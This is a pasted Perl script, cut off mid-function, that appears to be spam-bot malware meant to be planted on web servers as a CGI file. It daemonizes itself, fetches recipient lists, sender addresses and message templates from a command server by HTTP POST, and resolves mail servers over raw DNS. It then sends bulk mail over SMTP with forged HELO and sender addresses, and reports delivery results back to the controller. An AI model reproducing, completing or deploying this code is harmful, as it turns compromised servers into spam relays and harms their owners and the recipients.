· 9 years ago · Aug 18, 2017, 10:06 PM
1#!/usr/bin/perl -w
2#
3use strict;
4use POSIX;
5use IO::Socket;
6use IO::Select;
7$| = 1; my $debug = 0;
8&hide(); print "Content-type: text/plain; charset=iso-8859-1\x0D\x0A\x0D\x0AJm73uZ"; exit 0;
9sub main
10{
11my $s_host = shift;
12my $s_path = shift;
13my $s_mode = shift;
14###
15#
16###
17if ($debug)
18{
19$SIG{PIPE} = "IGNORE";
20}
21else
22{
23return unless defined (my $child = fork);
24return if $child;
25POSIX::setsid();
26$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
27umask 0;
28chdir "/";
29open (STDIN, "</dev/null");
30open (STDOUT, ">/dev/null");
31open (STDERR, ">&STDOUT");
32}
33srand;
34###
35#
36###
37my $s =
38{
39#
40version => 6,
41#
42command => 0,
43#
44size => 0,
45#
46timeout => 60,
47#
48request => 1,
49#
50host => (gethostbyname $s_host)[4],
51#
52sender => undef
53};
54exit 0 unless $s->{host};
55###
56#
57###
58my $b =
59{
60#
61id => 0,
62#
63ip => "",
64#
65helo => undef,
66#
67timezone => [["+", "-"]->[int rand 2], (1 + int rand 6)],
68#
69nameserver => [],
70#
71timeout => 10,
72#
73#
74session => 0,
75#
76copies => 1,
77#
78#
79#
80#
81method => 0,
82#
83#
84#
85spf => 0,
86#
87#
88#
89#
90level => 0,
91#
92mailbase => [],
93#
94from => [],
95#
96replyto => [],
97#
98subject => [],
99#
100header => "",
101#
102letter => "",
103#
104#
105#
106#
107priority => 1,
108#
109#
110#
111type => 0,
112#
113charset => "",
114#
115good => [0, ""],
116#
117unlucky => [0, ""],
118#
119bad => [0, ""],
120#
121report => ""
122};
123my $test = &test(1);
124unless ($test)
125{
126exit 0 if !defined $s_mode;
127($test, $s->{sender}) = &test(0);
128exit 0 unless $test;
129$s->{version} = 0;
130$b->{helo} = "localhost";
131}
132###
133#
134###
135my $readers = IO::Select->new() or exit 0;
136my $writers = IO::Select->new() or exit 0;
137my $session = {};
138my $flagset =
139{
140timeout => 1
141};
142my $cache = {};
143my $reset_time = time;
144my $reset_wait = 120;
145my $reset_stat = 0;
146my $first_exec = 1;
147my $request_time = time;
148my $request_flag = 1;
149my $counter_addr = 0;
150#
151my $destroy = sub
152{
153my ($object, $handle) = @_;
154#
155if ($session->{$handle}{status} =~ /^rs/)
156{
157$request_flag = 1;
158}
159elsif (exists $session->{$handle}{object})
160{
161if ($_ = shift @{$session->{$handle}{object}})
162{
163$b->{unlucky}[0] ++;
164if ($b->{level})
165{
166$b->{unlucky}[1] .= "$_\x0A";
167$b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;
168}
169#
170push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
171}
172}
173if (exists $session->{$handle}{mx})
174{
175$cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;
176}
177delete $session->{$handle};
178$object->remove($handle);
179close $handle;
180};
181#
182while (1)
183{
184#
185IO::Select->select(undef, undef, undef, 0.01);
186#
187my $time = time;
188if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
189{
190$reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
191$reset_time = $time + $reset_wait;
192}
193if ($time >= $reset_time)
194{
195$reset_time = $time + $reset_wait;
196$reset_stat = 0;
197$counter_addr = 0;
198$b->{$_} = [] for (qw (mailbase from replyto subject));
199$b->{$_} = [0, ""] for (qw (good unlucky bad));
200$b->{report} = "";
201$cache = {};
202$session = {};
203my $ha = [$writers->handles];
204foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }
205$ha = [$readers->handles];
206foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }
207$request_flag = 1;
208$request_time = time;
209next;
210}
211#
212if ($request_flag && $time >= $request_time)
213{
214while (1)
215{
216#
217my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
218#
219last unless $socket;
220#
221$socket->blocking(0);
222#
223unless ($socket->connect($_ = sockaddr_in(80, $s->{host})))
224{
225unless ($! == POSIX::EINPROGRESS)
226{
227#
228#
229close $socket;
230#
231last;
232}
233}
234#
235#
236unless ($writers->add($socket))
237{
238#
239#
240close $socket;
241#
242last;
243}
244#
245$session->{$socket} =
246{
247status => "rs_cn",
248buffer => "",
249flagset => $flagset->{timeout},
250timeout => 0
251};
252$s->{$_} = 0 for (qw (command size));
253if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
254{
255$s->{command} = 1;
256$s->{command} = 2 if $first_exec;
257$reset_time = $time + $reset_wait;
258$reset_stat = 0;
259if ($counter_addr)
260{
261$s->{size} = 16;
262$session->{$socket}{buffer} .= pack ("L", $b->{id});
263$session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));
264if ($b->{level})
265{
266for (qw (good unlucky bad))
267{
268$s->{size} += (4 + length $b->{$_}[1]);
269$session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);
270$session->{$socket}{buffer} .= $b->{$_}[1];
271}
272if ($b->{level} > 1)
273{
274$s->{size} += (4 + length $b->{report});
275$session->{$socket}{buffer} .= pack ("L", length $b->{report});
276$session->{$socket}{buffer} .= $b->{report};
277}
278}
279}
280}
281$session->{$socket}{buffer} = pack ("SC2L2", 0x0F0F, $s->{version}, $s->{command}, $$, $s->{size}) . $session->{$socket}{buffer};
282$s->{size} = length $session->{$socket}{buffer};
283$session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";
284#
285$request_flag = 0;
286#
287last;
288}
289}
290#
291if (my $mail_array = shift @{$b->{mailbase}})
292{
293while (scalar @$mail_array)
294{
295#
296my $mail = @{$mail_array}[0];
297my ($mx) = &mail(\$mail);
298$mx = lc ((split /\@/, $$mx)[1]);
299my $type = 15;
300if ($s->{version} == 0)
301{
302$cache->{$mx}[0] = "127.0.0.1" unless exists $cache->{$mx};
303}
304if (exists $cache->{$mx})
305{
306my $sv = $mx;
307$mx = $cache->{$sv}[0];
308if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
309{
310$cache->{$sv}[1] = 0 unless $cache->{$sv}[1];
311if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))
312{
313#
314push @{$b->{mailbase}}, $mail_array;
315#
316last;
317}
318if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)
319{
320while ($_ = shift @$mail_array)
321{
322$b->{bad}[0] ++;
323if ($b->{level})
324{
325$b->{bad}[1] .= "$_\x0A";
326$b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;
327}
328}
329#
330last;
331}
332$mx = pack ("C4", $1, $2, $3, $4);
333#
334#
335my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
336#
337unless ($socket)
338{
339#
340push @{$b->{mailbase}}, $mail_array;
341#
342last;
343}
344#
345$socket->blocking(0);
346#
347unless ($socket->connect($_ = sockaddr_in(25, $mx)))
348{
349unless ($! == POSIX::EINPROGRESS)
350{
351#
352#
353close $socket;
354$b->{unlucky}[0] ++;
355if ($b->{level})
356{
357$b->{unlucky}[1] .= "$mail\x0A";
358$b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;
359}
360#
361shift @$mail_array;
362#
363push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
364#
365last;
366}
367}
368#
369#
370unless ($writers->add($socket))
371{
372#
373#
374close $socket;
375#
376push @{$b->{mailbase}}, $mail_array;
377#
378last;
379}
380$cache->{$sv}[1] ++;
381my $sender;
382if (defined $s->{sender} && length $s->{sender})
383{
384$sender = $s->{sender};
385}
386else
387{
388$sender = @{$b->{from}}[int rand scalar @{$b->{from}}];
389$sender =~ s/\@.+$/\@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");
390}
391#
392$session->{$socket} =
393{
394status => "mx_cn",
395mx => $sv,
396buffer => "",
397object => $mail_array,
398mindex => 0,
399sender => $sender,
400flagset => $flagset->{timeout},
401timeout => 0
402};
403#
404last;
405}
406else
407{
408#
409$type = 1;
410}
411}
412else
413{
414#
415$type = 15;
416}
417#
418my $socket = IO::Socket::INET->new(Proto => "udp");
419#
420unless ($socket)
421{
422#
423push @{$b->{mailbase}}, $mail_array;
424#
425last;
426}
427#
428$socket->blocking(0);
429#
430unless ($writers->add($socket))
431{
432#
433#
434close $socket;
435#
436push @{$b->{mailbase}}, $mail_array;
437#
438last;
439}
440#
441$session->{$socket} =
442{
443status => "ns_cn",
444buffer => "",
445object => $mail_array,
446sender => $mx,
447flagset => $flagset->{timeout},
448timeout => 0,
449type => $type,
450packet => 0
451};
452#
453last;
454}
455}
456elsif ($counter_addr && !scalar keys %$session)
457{
458$counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
459$request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
460}
461#
462my $writable = [$writers->handles];
463foreach my $handle (@$writable)
464{
465#
466if ($session->{$handle}{flagset} & $flagset->{timeout})
467{
468#
469#
470if ($session->{$handle}{status} =~ /^rs/)
471{
472#
473$session->{$handle}{timeout} = $time + $s->{timeout};
474}
475else
476{
477#
478$session->{$handle}{timeout} = $time + $b->{timeout};
479}
480#
481$session->{$handle}{flagset} ^= $flagset->{timeout};
482}
483elsif ($time >= $session->{$handle}{timeout})
484{
485#
486#
487$destroy->($writers, $handle);
488}
489}
490#
491$writable = (IO::Select->select(undef, $writers, undef, 0))[1];
492foreach my $handle (@$writable)
493{
494if ($session->{$handle}{status} =~ /cn$/)
495{
496if ($session->{$handle}{status} eq "ns_cn")
497{
498$session->{$handle}{status} = "ns_wr";
499#
500$session->{$handle}{packet} = int rand 65536;
501$session->{$handle}{buffer} .= pack ("nSn4", $session->{$handle}{packet}, 1, 1, 0, 0, 0);
502$session->{$handle}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $session->{$handle}{sender}));
503$session->{$handle}{buffer} .= pack ("Cn2", 0, $session->{$handle}{type}, 1);
504$session->{$handle}{sender} = length $session->{$handle}{buffer};
505#
506next;
507}
508#
509if ($handle->connected)
510{
511#
512#
513#
514#
515if ($session->{$handle}{status} eq "rs_cn")
516{
517$session->{$handle}{status} = "rs_wr";
518}
519else
520{
521$session->{$handle}{status} = "mx_rd";
522#
523unless ($readers->add($handle))
524{
525#
526#
527$destroy->($writers, $handle);
528#
529next;
530}
531#
532$writers->remove($handle);
533}
534}
535else
536{
537#
538#
539$destroy->($writers, $handle);
540}
541}
542else
543{
544#
545my $result;
546if ($session->{$handle}{status} eq "ns_wr")
547{
548my $nameserver = shift @{$b->{nameserver}};
549push @{$b->{nameserver}}, $nameserver;
550$result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));
551}
552else
553{
554$result = syswrite ($handle, $session->{$handle}{buffer});
555}
556if (defined $result && $result > 0)
557{
558#
559#
560#
561#
562#
563substr ($session->{$handle}{buffer}, 0, $result) = "";
564#
565if (length $session->{$handle}{buffer} < 1)
566{
567#
568#
569if ($session->{$handle}{status} eq "rs_wr")
570{
571$session->{$handle}{status} = "rs_rd";
572#
573if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))
574{
575$counter_addr = 0;
576$b->{$_} = [] for (qw (mailbase from replyto subject));
577$b->{$_} = [0, ""] for (qw (good unlucky bad));
578$b->{report} = "";
579$cache = {};
580}
581#
582$request_time = $time + $s->{request} * 60;
583}
584elsif ($session->{$handle}{status} eq "ns_wr")
585{
586$session->{$handle}{status} = "ns_rd";
587}
588#
589unless ($readers->add($handle))
590{
591#
592#
593$destroy->($writers, $handle);
594#
595next;
596}
597#
598$writers->remove($handle);
599}
600}
601elsif ($! == EWOULDBLOCK)
602{
603#
604#
605next;
606}
607elsif ($! == EPIPE)
608{
609#
610#
611$destroy->($writers, $handle);
612}
613else
614{
615#
616#
617$destroy->($writers, $handle);
618}
619}
620}
621#
622my $readable = [$readers->handles];
623foreach my $handle (@$readable)
624{
625#
626if ($session->{$handle}{flagset} & $flagset->{timeout})
627{
628#
629#
630if ($session->{$handle}{status} =~ /^rs/)
631{
632#
633$session->{$handle}{timeout} = $time + $s->{timeout};
634}
635else
636{
637#
638$session->{$handle}{timeout} = $time + $b->{timeout};
639}
640#
641$session->{$handle}{flagset} ^= $flagset->{timeout};
642}
643elsif ($time >= $session->{$handle}{timeout})
644{
645#
646#
647$destroy->($readers, $handle);
648}
649}
650#
651$readable = (IO::Select->select($readers, undef, undef, 0))[0];
652foreach my $handle (@$readable)
653{
654#
655my $result;
656if ($session->{$handle}{status} eq "ns_rd")
657{
658$result = $handle->recv($session->{$handle}{buffer}, 512);
659$result = length $session->{$handle}{buffer} if defined $result;
660}
661else
662{
663$result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});
664}
665if (defined $result)
666{
667#
668if ($result > 0)
669{
670#
671#
672#
673#
674if ($session->{$handle}{status} eq "rs_rd")
675{
676#
677next if 4 > length $session->{$handle}{buffer};
678if ($session->{$handle}{buffer} !~ /^HTTP/)
679{
680#
681#
682$destroy->($readers, $handle);
683#
684next;
685}
686else
687{
688#
689my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");
690#
691next unless $offset >= 0;
692#
693if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)
694{
695if ($1 !~ /^200/)
696{
697#
698#
699$destroy->($readers, $handle);
700#
701next;
702}
703$offset += 4;
704#
705#
706next if 10 > (length $session->{$handle}{buffer}) - $offset;
707#
708my $server =
709{
710sign => 0,
711timeout => 0,
712request => 0,
713command => 0,
714size => 0
715};
716@_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));
717$server->{$_} = shift @_ for (qw (sign timeout request command size));
718if ($server->{sign} != 0xAFAF)
719{
720#
721#
722$destroy->($readers, $handle);
723#
724next;
725}
726#
727$first_exec = 0;
728exit 0 if $server->{command};
729#
730$s->{timeout} = $server->{timeout};
731$s->{request} = $server->{request};
732#
733$request_time = $time + $s->{request} * 60;
734#
735unless ($server->{size})
736{
737#
738#
739$destroy->($readers, $handle);
740#
741next;
742}
743#
744$offset += 10;
745#
746next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;
747#
748substr ($session->{$handle}{buffer}, 0, $offset) = "";
749@_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));
750$b->{$_} = shift @_ for (qw (id ip));
751$b->{nameserver} = [];
752push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);
753@_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));
754$b->{$_} = shift @_ for (qw (timeout session copies method spf level));
755@{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));
756$counter_addr = scalar @{$b->{mailbase}};
757my $mailbase_temp = {};
758while (my $mail_temp = shift @{$b->{mailbase}})
759{
760my ($host_temp) = &mail(\$mail_temp);
761$host_temp = lc ((split /\@/, $$host_temp)[1]);
762$mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};
763push @{$mailbase_temp->{$host_temp}}, $mail_temp;
764}
765foreach my $host_temp (keys %$mailbase_temp)
766{
767while (scalar @{$mailbase_temp->{$host_temp}})
768{
769my $mail_temp = [];
770for (1..$b->{copies})
771{
772last unless scalar @{$mailbase_temp->{$host_temp}};
773push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};
774}
775push @{$b->{mailbase}}, $mail_temp;
776}
777}
778undef $mailbase_temp;
779#
780#
781$b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
782unless ($b->{header})
783{
784$b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];
785$b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');
786}
787$b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
788$b->{letter} = "" unless $b->{letter};
789$b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));
790$b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");
791$b->{ip} = join (".", unpack ("C4", $b->{ip}));
792unless ($b->{helo})
793{
794$b->{helo} = &nstest($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip}, "PTR");
795$b->{helo} = &nstest($_ = sockaddr_in(53, $b->{nameserver}[1]), 3, $b->{ip}, "PTR") unless $b->{helo};
796$b->{helo} = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.222.222"))), 3, $b->{ip}, "PTR") unless $b->{helo};
797$b->{helo} = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.220.220"))), 3, $b->{ip}, "PTR") unless $b->{helo};
798$b->{helo} = "localhost" unless $b->{helo};
799}
800$b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;
801#
802#
803$destroy->($readers, $handle);
804#
805next;
806}
807else
808{
809#
810#
811$destroy->($readers, $handle);
812#
813next;
814}
815}
816}
817elsif ($session->{$handle}{status} eq "ns_rd")
818{
819if (length $session->{$handle}{buffer})
820{
821my ($resp, $code) = &nsparser($session->{$handle}{packet}, $session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{type});
822if (!defined $resp)
823{
824while ($_ = shift @{$session->{$handle}{object}})
825{
826$b->{bad}[0] ++;
827if ($b->{level})
828{
829$b->{bad}[1] .= "$_\x0A";
830$b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;
831}
832}
833}
834elsif ($resp =~ /^0$/)
835{
836$resp = shift @{$session->{$handle}{object}};
837$b->{unlucky}[0] ++;
838if ($b->{level})
839{
840$b->{unlucky}[1] .= "$resp\x0A";
841$b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;
842}
843push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
844}
845else
846{
847$code = @{$session->{$handle}{object}}[0];
848($code) = &mail(\$code);
849$code = lc ((split /\@/, $$code)[1]);
850$cache->{$code}[0] = $resp;
851push @{$b->{mailbase}}, $session->{$handle}{object};
852}
853delete $session->{$handle}{object};
854#
855$destroy->($readers, $handle);
856#
857next;
858}
859}
860elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)
861{
862#
863print "< $session->{$handle}{buffer}" if $debug;
864if ($session->{$handle}{buffer} !~ /^(2|3)/)
865{
866if ($b->{level} > 1)
867{
868$session->{$handle}{buffer} =~ s/\x0D//g;
869$session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;
870}
871$session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;
872if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)
873{
874while ($_ = shift @{$session->{$handle}{object}})
875{
876$b->{unlucky}[0] ++;
877if ($b->{level})
878{
879$b->{unlucky}[1] .= "$_\x0A";
880$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
881}
882}
883#
884delete $session->{$handle}{object};
885$destroy->($readers, $handle);
886#
887next;
888}
889elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)
890{
891if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)
892{
893#
894while ($_ = shift @{$session->{$handle}{object}})
895{
896$b->{unlucky}[0] ++;
897if ($b->{level})
898{
899$b->{unlucky}[1] .= "$_\x0A";
900$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
901}
902}
903#
904delete $session->{$handle}{object};
905$destroy->($readers, $handle);
906#
907next;
908}
909else
910{
911#
912$b->{bad}[0] ++;
913if ($b->{level})
914{
915$b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
916$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
917}
918splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
919unless (scalar @{$session->{$handle}{object}})
920{
921#
922delete $session->{$handle}{object};
923$destroy->($readers, $handle);
924#
925next;
926}
927}
928}
929else
930{
931$b->{unlucky}[0] ++;
932if ($b->{level})
933{
934$b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
935$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
936}
937splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
938push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
939#
940delete $session->{$handle}{object};
941$destroy->($readers, $handle);
942#
943next;
944}
945}
946if ($session->{$handle}{status} eq "mx_rd")
947{
948my $helo = $b->{helo};
949#
950#
951#
952#
953#
954$session->{$handle}{buffer} = "HELO $helo\x0D\x0A";
955$session->{$handle}{status} = "mx_gr";
956}
957elsif ($session->{$handle}{status} eq "mx_gr")
958{
959my ($mail) = &mail(\$session->{$handle}{sender});
960$session->{$handle}{buffer} = "MAIL FROM: <$$mail>\x0D\x0A";
961$session->{$handle}{status} = "mx_mf";
962}
963elsif ($session->{$handle}{status} eq "mx_mf")
964{
965my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);
966$session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";
967$session->{$handle}{mindex} ++;
968$session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";
969}
970elsif ($session->{$handle}{status} eq "mx_rt")
971{
972$session->{$handle}{buffer} = "DATA\x0D\x0A";
973$session->{$handle}{status} = "mx_dt";
974}
975elsif ($session->{$handle}{status} eq "mx_dt")
976{
977$session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);
978$session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";
979$session->{$handle}{status} = "mx_dr";
980}
981elsif ($session->{$handle}{status} eq "mx_dr")
982{
983$b->{good}[0] += scalar @{$session->{$handle}{object}};
984if ($b->{level})
985{
986while ($_ = shift @{$session->{$handle}{object}})
987{
988$b->{good}[1] .= "$_\x0A";
989}
990}
991delete $session->{$handle}{object};
992$session->{$handle}{buffer} = "QUIT\x0D\x0A";
993$session->{$handle}{status} = "mx_qt";
994}
995else
996{
997$destroy->($readers, $handle);
998#
999next;
1000}
1001print "> $session->{$handle}{buffer}" if $debug;
1002#
1003unless ($writers->add($handle))
1004{
1005#
1006#
1007$destroy->($readers, $handle);
1008#
1009next;
1010}
1011#
1012$readers->remove($handle);
1013}
1014}
1015else
1016{
1017#
1018#
1019$destroy->($readers, $handle);
1020#
1021next;
1022}
1023}
1024elsif ($! == EWOULDBLOCK)
1025{
1026#
1027#
1028next;
1029}
1030else
1031{
1032#
1033#
1034$destroy->($readers, $handle);
1035#
1036next;
1037}
1038}
1039}
1040}
1041#
1042sub nstest
1043{
1044my ($packaddr, $timeout, $query, $querytype, $recursion) = @_;
1045return if !defined $query || $query !~ /\w+\.\w+$/;
1046my $type = {PTR => 12, MX => 15};
1047$type = $type->{$querytype};
1048if ($query =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
1049{
1050return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);
1051return $query if $type == 1;
1052$query = "$4.$3.$2.$1.in-addr.arpa";
1053}
1054my $packid = int rand 65536;
1055my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);
1056for (split (/\./, lc $query))
1057{
1058$packet .= pack ("C", length $_) . $_;
1059}
1060$packet .= pack ("Cn2", 0, $type, 1);
1061my $offset = length $packet;
1062my $socket = IO::Socket::INET->new(Proto=>"udp");
1063return unless $socket;
1064unless ($socket->send ($packet, 0, $packaddr))
1065{
1066close $socket;
1067return;
1068}
1069my $buffer;
1070my $select = new IO::Select $socket;
1071if ($select->can_read($timeout))
1072{
1073$socket->recv ($buffer, 512);
1074}
1075else
1076{
1077close $socket;
1078return;
1079}
1080close $socket;
1081my ($resp, $text) = &nsparser($packid, $buffer, $offset, $type, $recursion);
1082return $resp;
1083}
1084#
1085sub nsparser
1086{
1087my ($packid, $buffer, $offset, $type, $recursion) = @_;
1088if (!defined $buffer || length $buffer < 12)
1089{
1090return (0, "Response error");
1091}
1092@_ = unpack ("nC2n4", $buffer);
1093my $header =
1094{
1095id => $_[0],
1096qr => ($_[1] >> 7) & 1,
1097opcode => ($_[1] >> 3) & 15,
1098aa => ($_[1] >> 2) & 1,
1099tc => ($_[1] >> 1) & 1,
1100rd => $_[1] & 1,
1101ra => ($_[2] >> 7) & 1,
1102z => ($_[2] >> 4) & 6,
1103rcode => $_[2] & 15,
1104qdcount => $_[3],
1105ancount => $_[4],
1106nscount => $_[5],
1107arcount => $_[6]
1108};
1109return (0, "Sync error") if $header->{id} != $packid;
1110if ($type == 6)
1111{
1112$header->{rcode} = 0;
1113$header->{ancount} = $header->{nscount};
1114}
1115return (undef, "Object not exists") if $header->{rcode} != 0;
1116unless ($recursion)
1117{
1118return (0, "No recursion") if !$header->{ra};
1119}
1120return (undef, "No data") if !$header->{ancount};
1121#
1122return (undef, "Response truncated") if $header->{tc};
1123return (0, "Response error") if length $buffer < $offset;
1124my $result = {};
1125for (1..$header->{ancount})
1126{
1127(my $rdata, $offset) = &nsunpack($buffer, $offset);
1128if (!defined $rdata || length $buffer < $offset + 10)
1129{
1130return (0, "Response error");
1131}
1132my ($rtype, $rclass, $rttl, $rlength) = unpack ("\@$offset n2 N n", $buffer);
1133$offset += 10;
1134return (0, "Response error") if length $buffer < $offset + $rlength;
1135if ($type == 1)
1136{
1137$rdata = inet_ntoa(substr ($buffer, $offset, 4));
1138$offset += $rlength;
1139$result->{$rdata} = 1 if $rtype == 1;
1140}
1141elsif ($type == 2)
1142{
1143($rdata, $offset) = &nsunpack($buffer, $offset);
1144return (0, "Response error") if !defined $rdata;
1145$result->{$rdata} = 1 if $rtype == 2;
1146}
1147elsif ($type == 6)
1148{
1149($rdata, $offset) = &nsunpack($buffer, $offset);
1150return (0, "Response error") if !defined $rdata;
1151$result->{$rdata} = 1 if $rtype == 6;
1152($rdata, $offset) = &dnsunpack($buffer, $offset);
1153if (!defined $rdata || length $buffer < $offset + 20)
1154{
1155return (0, "Response error");
1156}
1157my ($ser, $ref, $ret, $exp, $min) = unpack ("\@$offset N5", $buffer);
1158}
1159elsif ($type == 12)
1160{
1161($rdata, $offset) = &nsunpack($buffer, $offset);
1162return (0, "Response error") if !defined $rdata;
1163$result->{$rdata} = 1 if $rtype == 12;
1164}
1165elsif ($type == 15)
1166{
1167my $priority = unpack ("n", substr ($buffer, $offset, 2));
1168($rdata, $offset) = &nsunpack($buffer, $offset + 2);
1169return (0, "Response error") if !defined $rdata;
1170$result->{$rdata} = $priority if $rtype == 15;
1171}
1172}
1173$result = (sort {$result->{$a} <=> $result->{$b}} keys %$result)[0];
1174}
1175#
1176sub nsunpack
1177{
1178my ($packet, $offset) = @_;
1179my $rdata = "";
1180while (1)
1181{
1182return if length $packet < $offset + 1;
1183my $length = unpack ("\@$offset C", $packet);
1184if (!$length)
1185{
1186$offset ++;
1187last;
1188}
1189elsif (($length & 192) == 192)
1190{
1191return if length $packet < $offset + 2;
1192my $next = unpack ("\@$offset n", $packet);
1193$next &= 16383;
1194($next) = &nsunpack($packet, $next);
1195return if !defined $next;
1196$rdata .= $next;
1197$offset += 2;
1198last;
1199}
1200else
1201{
1202$offset ++;
1203return if length $packet < $offset + $length;
1204my $next = substr ($packet, $offset, $length);
1205$next =~ s/\./\\./g;
1206$rdata .= "$next.";
1207$offset += $length;
1208}
1209}
1210$rdata =~ s/\.$//;
1211return ($rdata, $offset);
1212}
1213#
1214sub mail
1215{
1216my $line = shift;
1217return if !defined $$line || $$line !~ /^[^\@]+\@[^\@]+\.[^\@]+$/;
1218my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s\|<]*([^\s|<]+\@[^>\|\s]+)>*(.*)$/;
1219return if !$mail;
1220$info =~ s/.*?\|[\s\|]*(.+?)[\s\|]*$/$1/ if length $info;
1221return (\$mail, \$name, \$info);
1222}
1223#
1224sub data
1225{
1226my ($to, $from, $b) = @_;
1227my $time = time;
1228my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);
